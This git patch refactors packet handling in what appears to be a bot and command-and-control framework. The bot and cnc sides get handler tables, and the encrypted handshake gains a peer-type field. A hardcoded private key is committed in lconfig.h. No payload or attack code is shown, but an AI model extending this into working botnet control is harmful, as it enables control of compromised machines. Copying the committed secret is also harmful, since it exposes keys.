From 282516797eb5728a429726dd68247d2cfa43f30a Mon Sep 17 00:00:00 2001 From: CPunch Date: Sun, 30 Jan 2022 19:10:10 -0600 Subject: [PATCH] Minor lpeer refactoring - Packets are now dispatched based on a packet function handler map which is passed to laikaS_newPeer() --- bot/src/bot.c | 37 ++++++++++++---------------- cnc/src/cnc.c | 57 +++++++++++++++++++++---------------------- lib/include/lconfig.h | 4 +-- lib/include/lpacket.h | 3 +++ lib/include/lpeer.h | 13 ++++++---- lib/src/lpeer.c | 11 ++++++--- lib/src/lsocket.c | 4 +-- 7 files changed, 67 insertions(+), 62 deletions(-) diff --git a/bot/src/bot.c b/bot/src/bot.c index 4526c0f..a62a9c5 100644 --- a/bot/src/bot.c +++ b/bot/src/bot.c @@ -7,39 +7,33 @@ LAIKAPKT_SIZE laikaB_pktSizeTbl[LAIKAPKT_MAXNONE] = { [LAIKAPKT_HANDSHAKE_RES] = sizeof(uint8_t) + LAIKAENC_SIZE(LAIKA_NONCESIZE) }; -void laikaB_pktHandler(struct sLaika_peer *peer, LAIKAPKT_ID id, void *uData) { +void handleHandshakeResponse(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) { + uint8_t nonce[LAIKA_NONCESIZE]; struct sLaika_bot *bot = (struct sLaika_bot*)uData; + uint8_t endianness = laikaS_readByte(&peer->sock); - switch (id) { - case LAIKAPKT_HANDSHAKE_RES: { - uint8_t encNonce[LAIKAENC_SIZE(LAIKA_NONCESIZE)], nonce[LAIKA_NONCESIZE]; - uint8_t endianness = laikaS_readByte(&peer->sock); + /* read & decrypt nonce */ + laikaS_readENC(&peer->sock, nonce, LAIKA_NONCESIZE, bot->pub, bot->priv); - /* read & decrypt nonce */ - laikaS_read(&peer->sock, encNonce, sizeof(encNonce)); - if (crypto_box_seal_open(nonce, encNonce, LAIKAENC_SIZE(LAIKA_NONCESIZE), bot->pub, bot->priv) != 0) - LAIKA_ERROR("Failed to decrypt nonce!\n"); + /* check nonce */ + if (memcmp(nonce, bot->nonce, LAIKA_NONCESIZE) != 0) + LAIKA_ERROR("mismatched nonce!\n"); - /* check nonce */ - if (memcmp(nonce, bot->nonce, LAIKA_NONCESIZE) != 0) - LAIKA_ERROR("Mismatched nonce!\n"); - - peer->sock.flipEndian = endianness != laikaS_isBigEndian(); - LAIKA_DEBUG("handshake accepted by cnc!\n") - break; - } - default: - LAIKA_ERROR("unknown packet id [%d]\n", id); - } + peer->sock.flipEndian = endianness != laikaS_isBigEndian(); + LAIKA_DEBUG("handshake accepted by cnc!\n") } +PeerPktHandler laikaB_handlerTbl[LAIKAPKT_MAXNONE] = { + [LAIKAPKT_HANDSHAKE_RES] = handleHandshakeResponse +}; + struct sLaika_bot *laikaB_newBot(void) { struct sLaika_bot *bot = laikaM_malloc(sizeof(struct sLaika_bot)); size_t _unused; laikaP_initPList(&bot->pList); bot->peer = laikaS_newPeer( - laikaB_pktHandler, + laikaB_handlerTbl, laikaB_pktSizeTbl, &bot->pList, (void*)bot @@ -88,6 +82,7 @@ void laikaB_connectToCNC(struct sLaika_bot *bot, char *ip, char *port) { laikaS_write(sock, LAIKA_MAGIC, LAIKA_MAGICLEN); laikaS_writeByte(sock, LAIKA_VERSION_MAJOR); laikaS_writeByte(sock, LAIKA_VERSION_MINOR); + laikaS_writeByte(sock, PEER_BOT); laikaS_writeENC(sock, bot->nonce, LAIKA_NONCESIZE, bot->peer->peerPub); /* write encrypted nonce test */ laikaS_write(sock, bot->pub, sizeof(bot->pub)); /* write public key */ diff --git a/cnc/src/cnc.c b/cnc/src/cnc.c index 29f4fc5..ed2009a 100644 --- a/cnc/src/cnc.c +++ b/cnc/src/cnc.c @@ -6,44 +6,43 @@ #include "cnc.h" LAIKAPKT_SIZE laikaC_pktSizeTbl[LAIKAPKT_MAXNONE] = { - [LAIKAPKT_HANDSHAKE_REQ] = LAIKA_MAGICLEN + sizeof(uint8_t) + sizeof(uint8_t) + LAIKAENC_SIZE(LAIKA_NONCESIZE) + crypto_box_PUBLICKEYBYTES + [LAIKAPKT_HANDSHAKE_REQ] = LAIKA_MAGICLEN + sizeof(uint8_t) + sizeof(uint8_t) + sizeof(uint8_t) + LAIKAENC_SIZE(LAIKA_NONCESIZE) + crypto_box_PUBLICKEYBYTES }; -void laikaC_pktHandler(struct sLaika_peer *peer, LAIKAPKT_ID id, void *uData) { +void handleHandshakeRequest(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) { + char magicBuf[LAIKA_MAGICLEN]; + uint8_t nonce[LAIKA_NONCESIZE]; struct sLaika_cnc *cnc = (struct sLaika_cnc*)uData; + uint8_t major, minor; - switch (id) { - case LAIKAPKT_HANDSHAKE_REQ: { - char magicBuf[LAIKA_MAGICLEN]; - uint8_t nonce[LAIKA_NONCESIZE]; - uint8_t major, minor; + laikaS_read(&peer->sock, (void*)magicBuf, LAIKA_MAGICLEN); + major = laikaS_readByte(&peer->sock); + minor = laikaS_readByte(&peer->sock); + peer->type = laikaS_readByte(&peer->sock); - laikaS_read(&peer->sock, (void*)magicBuf, LAIKA_MAGICLEN); - major = laikaS_readByte(&peer->sock); - minor = laikaS_readByte(&peer->sock); + if (memcmp(magicBuf, LAIKA_MAGIC, LAIKA_MAGICLEN) != 0 + || major != LAIKA_VERSION_MAJOR + || minor != LAIKA_VERSION_MINOR) + LAIKA_ERROR("invalid handshake request!\n"); - if (memcmp(magicBuf, LAIKA_MAGIC, LAIKA_MAGICLEN) != 0 - || major != LAIKA_VERSION_MAJOR - || minor != LAIKA_VERSION_MINOR) - LAIKA_ERROR("invalid handshake request!\n"); + /* read & decrypt nonce */ + laikaS_readENC(&peer->sock, nonce, LAIKA_NONCESIZE, cnc->pub, cnc->priv); - /* read & decrypt nonce */ - laikaS_readENC(&peer->sock, nonce, LAIKA_NONCESIZE, cnc->pub, cnc->priv); + /* read peer's public key */ + laikaS_read(&peer->sock, peer->peerPub, sizeof(peer->peerPub)); - /* read peer's public key */ - laikaS_read(&peer->sock, peer->peerPub, sizeof(peer->peerPub)); + /* queue response */ + laikaS_writeByte(&peer->sock, LAIKAPKT_HANDSHAKE_RES); + laikaS_writeByte(&peer->sock, laikaS_isBigEndian()); + laikaS_writeENC(&peer->sock, nonce, LAIKA_NONCESIZE, peer->peerPub); /* encrypt nonce with peer's public key */ - /* queue response */ - laikaS_writeByte(&peer->sock, LAIKAPKT_HANDSHAKE_RES); - laikaS_writeByte(&peer->sock, laikaS_isBigEndian()); - laikaS_writeENC(&peer->sock, nonce, LAIKA_NONCESIZE, peer->peerPub); /* encrypt nonce with peer's public key */ - - LAIKA_DEBUG("accepted handshake from peer %x\n", peer); - break; - } - } + LAIKA_DEBUG("accepted handshake from peer %x\n", peer); } +PeerPktHandler laikaC_handlerTbl[LAIKAPKT_MAXNONE] = { + [LAIKAPKT_HANDSHAKE_REQ] = handleHandshakeRequest +}; + struct sLaika_cnc *laikaC_newCNC(uint16_t port) { struct sLaika_cnc *cnc = laikaM_malloc(sizeof(struct sLaika_cnc)); size_t _unused; @@ -63,7 +62,7 @@ struct sLaika_cnc *laikaC_newCNC(uint16_t port) { LAIKA_ERROR("LibSodium failed to initialize!\n"); } - LAIKA_DEBUG(LAIKA_PUBKEY); + LAIKA_DEBUG("using pubkey: %s\n", LAIKA_PUBKEY); if (sodium_hex2bin(cnc->pub, crypto_box_PUBLICKEYBYTES, LAIKA_PUBKEY, strlen(LAIKA_PUBKEY), NULL, &_unused, NULL) != 0) { laikaC_freeCNC(cnc); LAIKA_ERROR("Failed to init cnc public key!\n"); @@ -105,7 +104,7 @@ bool laikaC_pollPeers(struct sLaika_cnc *cnc, int timeout) { for (i = 0; i < numEvents; i++) { if (evnts[i].sock == &cnc->sock) { /* event on listener? */ peer = laikaS_newPeer( - laikaC_pktHandler, + laikaC_handlerTbl, laikaC_pktSizeTbl, &cnc->pList, (void*)cnc diff --git a/lib/include/lconfig.h b/lib/include/lconfig.h index 78f833d..6974500 100644 --- a/lib/include/lconfig.h +++ b/lib/include/lconfig.h @@ -6,8 +6,8 @@ #define LAIKA_VERSION_MINOR 0 /* keys */ -#define LAIKA_PUBKEY "997d026d1c65deb6c30468525132be4ea44116d6f194c142347b67ee73d18814" -#define LAIKA_PRIVKEY "1dbd33962f1e170d1e745c6d3e19175049b5616822fac2fa3535d7477957a841" +#define LAIKA_PUBKEY "b507a9c8bc8f2c61ea019122311b64361d034ba2b6299a11628a2608ef7f4137" +#define LAIKA_PRIVKEY "4fefc9c4dba37f569432d091497b2c0e931ce78be945328e2ba57674969a3539" #endif diff --git a/lib/include/lpacket.h b/lib/include/lpacket.h index c6e4475..7a469e3 100644 --- a/lib/include/lpacket.h +++ b/lib/include/lpacket.h @@ -14,6 +14,7 @@ enum { * uint8_t laikaMagic[LAIKA_MAGICLEN]; * uint8_t majorVer; * uint8_t minorVer; + * uint8_t peerType; * uint8_t encNonce[LAIKAENC_SIZE(LAIKA_NONCESIZE)]; -- encrypted using shared pubKey * uint8_t pubKey[crypto_box_PUBLICKEYBYTES]; -- freshly generated pubKey to encrypt decrypted nonce with */ @@ -27,6 +28,8 @@ enum { * uint8_t pktID; * uint16_t pktSize; */ + LAIKAPKT_CHALLENGE_REQ, + LAIKAPKT_CHALLENGE_RES, LAIKAPKT_MAXNONE }; diff --git a/lib/include/lpeer.h b/lib/include/lpeer.h index 8d9f206..c0b455c 100644 --- a/lib/include/lpeer.h +++ b/lib/include/lpeer.h @@ -13,22 +13,25 @@ typedef enum { PEER_AUTH /* authorized peers can send commands to cnc */ } PEERTYPE; +struct sLaika_peer; +typedef void (*PeerPktHandler)(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData); + struct sLaika_peer { struct sLaika_socket sock; /* DO NOT MOVE THIS. this member HAS TO BE FIRST so that typecasting sLaika_peer* to sLaika_sock* works as intended */ - uint8_t *priv; /* key to decrypt incoming packets */ - uint8_t *pub; /* pub key matching to priv */ uint8_t peerPub[crypto_box_PUBLICKEYBYTES]; /* key to encrypt outgoing packets */ struct sLaika_pollList *pList; /* pollList we're active in */ - void (*pktHandler)(struct sLaika_peer *peer, uint8_t id, void *uData); - void *uData; /* data to be passed to pktHandler */ + PeerPktHandler *handlers; LAIKAPKT_SIZE *pktSizeTable; /* const table to pull pkt size data from */ + uint8_t *priv; /* key to decrypt incoming packets */ + uint8_t *pub; /* pub key matching to priv */ + void *uData; /* data to be passed to pktHandler */ LAIKAPKT_SIZE pktSize; /* current pkt size */ LAIKAPKT_ID pktID; /* current pkt ID */ PEERTYPE type; bool setPollOut; /* is EPOLLOUT/POLLOUT is set on sock's pollfd ? */ }; -struct sLaika_peer *laikaS_newPeer(void (*pktHandler)(struct sLaika_peer *peer, LAIKAPKT_ID id, void *uData), LAIKAPKT_SIZE *pktSizeTable, struct sLaika_pollList *pList, void *uData); +struct sLaika_peer *laikaS_newPeer(PeerPktHandler *handlers, LAIKAPKT_SIZE *pktSizeTable, struct sLaika_pollList *pList, void *uData); void laikaS_freePeer(struct sLaika_peer *peer); void laikaS_setKeys(struct sLaika_peer *peer, uint8_t *priv, uint8_t *pub); diff --git a/lib/src/lpeer.c b/lib/src/lpeer.c index fc11c97..ff79697 100644 --- a/lib/src/lpeer.c +++ b/lib/src/lpeer.c @@ -2,11 +2,11 @@ #include "lmem.h" #include "lpeer.h" -struct sLaika_peer *laikaS_newPeer(void (*pktHandler)(struct sLaika_peer *peer, LAIKAPKT_ID id, void *uData), LAIKAPKT_SIZE *pktSizeTable, struct sLaika_pollList *pList, void *uData) { +struct sLaika_peer *laikaS_newPeer(PeerPktHandler *handlers, LAIKAPKT_SIZE *pktSizeTable, struct sLaika_pollList *pList, void *uData) { struct sLaika_peer *peer = laikaM_malloc(sizeof(struct sLaika_peer)); laikaS_initSocket(&peer->sock); - peer->pktHandler = pktHandler; + peer->handlers = handlers; peer->pktSizeTable = pktSizeTable; peer->pList = pList; peer->uData = uData; @@ -78,7 +78,12 @@ bool laikaS_handlePeerIn(struct sLaika_peer *peer) { /* have we received the full packet? */ if (peer->pktSize == peer->sock.inCount) { - peer->pktHandler(peer, peer->pktID, peer->uData); /* dispatch to packet handler */ + PeerPktHandler hndlr = peer->handlers[peer->pktID]; + + if (hndlr != NULL) { + hndlr(peer, peer->pktID, peer->uData); /* dispatch to packet handler */ + } else + LAIKA_ERROR("peer %x doesn't support packet id [%d]!\n", peer, peer->pktID); /* reset */ peer->sock.inCount = 0; diff --git a/lib/src/lsocket.c b/lib/src/lsocket.c index 3a18f9c..c05811b 100644 --- a/lib/src/lsocket.c +++ b/lib/src/lsocket.c @@ -191,7 +191,7 @@ void laikaS_writeENC(struct sLaika_socket *sock, void *buf, size_t sz, uint8_t * /* encrypt the buffer into outBuf */ if (crypto_box_seal(&sock->outBuf[sock->outCount], buf, sz, pub) != 0) - LAIKA_ERROR("Failed to encrypt!"); + LAIKA_ERROR("Failed to encrypt!\n"); sock->outCount += LAIKAENC_SIZE(sz); } @@ -199,7 +199,7 @@ void laikaS_writeENC(struct sLaika_socket *sock, void *buf, size_t sz, uint8_t * void laikaS_readENC(struct sLaika_socket *sock, void *buf, size_t sz, uint8_t *pub, uint8_t *priv) { /* decrypt into buf */ if (crypto_box_seal_open(buf, sock->inBuf, LAIKAENC_SIZE(sz), pub, priv) != 0) - LAIKA_ERROR("Failed to decrypt!"); + LAIKA_ERROR("Failed to decrypt!\n"); laikaM_rmvarray(uint8_t, sock->inBuf, sock->inCount, 0, LAIKAENC_SIZE(sz)); }